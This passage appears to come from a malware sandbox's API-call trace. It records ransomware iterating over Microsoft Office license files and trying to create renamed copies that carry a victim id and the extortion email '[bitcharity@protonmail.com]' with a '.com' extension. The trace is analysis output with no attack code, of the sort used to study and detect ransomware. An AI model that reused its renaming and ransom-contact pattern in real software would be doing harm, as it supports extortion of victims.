(in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.133] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.133] CloseHandle (hObject=0x1258) returned 1 [0251.134] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.135] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.135] CloseHandle (hObject=0x1258) returned 1 [0251.136] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.136] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.136] CloseHandle (hObject=0x1258) returned 1 [0251.138] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.138] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.138] CloseHandle (hObject=0x1258) returned 1 [0251.139] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.139] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.140] CloseHandle (hObject=0x1258) returned 1 [0251.141] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.141] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.141] CloseHandle (hObject=0x1258) returned 1 [0251.142] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.142] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.142] CloseHandle (hObject=0x1258) returned 1 [0251.143] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.143] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.144] CloseHandle (hObject=0x1258) returned 1 [0251.145] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.145] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.145] CloseHandle (hObject=0x1258) returned 1 [0251.151] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.151] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.152] CloseHandle (hObject=0x1228) returned 1 [0251.153] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.153] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.154] CloseHandle (hObject=0x1228) returned 1 [0251.159] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.159] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.160] CloseHandle (hObject=0x1228) returned 1 [0251.161] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.161] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.162] CloseHandle (hObject=0x1228) returned 1 [0251.163] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.163] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.163] CloseHandle (hObject=0x1228) returned 1 [0251.456] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.456] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.457] CloseHandle (hObject=0x1228) returned 1 [0251.458] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.458] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.458] CloseHandle (hObject=0x1228) returned 1 [0251.459] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.459] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.460] CloseHandle (hObject=0x1228) returned 1 [0251.461] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.461] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.461] CloseHandle (hObject=0x1228) returned 1 [0251.462] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.462] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.462] CloseHandle (hObject=0x1228) returned 1 [0251.463] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.463] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.463] CloseHandle (hObject=0x1228) returned 1 [0251.464] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.464] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.465] CloseHandle (hObject=0x1228) returned 1 [0251.469] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.469] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.470] CloseHandle (hObject=0x1228) returned 1 [0251.470] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.471] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.471] CloseHandle (hObject=0x1228) returned 1 [0251.472] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.472] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.472] CloseHandle (hObject=0x1228) returned 1 [0251.473] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.473] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.473] CloseHandle (hObject=0x1228) returned 1 [0251.474] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.474] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.475] CloseHandle (hObject=0x1228) returned 1 [0251.476] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.476] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.476] CloseHandle (hObject=0x1228) returned 1 [0251.477] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.477] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.477] CloseHandle (hObject=0x1228) returned 1 [0251.478] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.478] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.479] CloseHandle (hObject=0x1228) returned 1 [0251.480] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.480] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.480] CloseHandle (hObject=0x1228) returned 1 [0251.481] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.482] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.482] CloseHandle (hObject=0x1228) returned 1 [0251.484] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.484] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 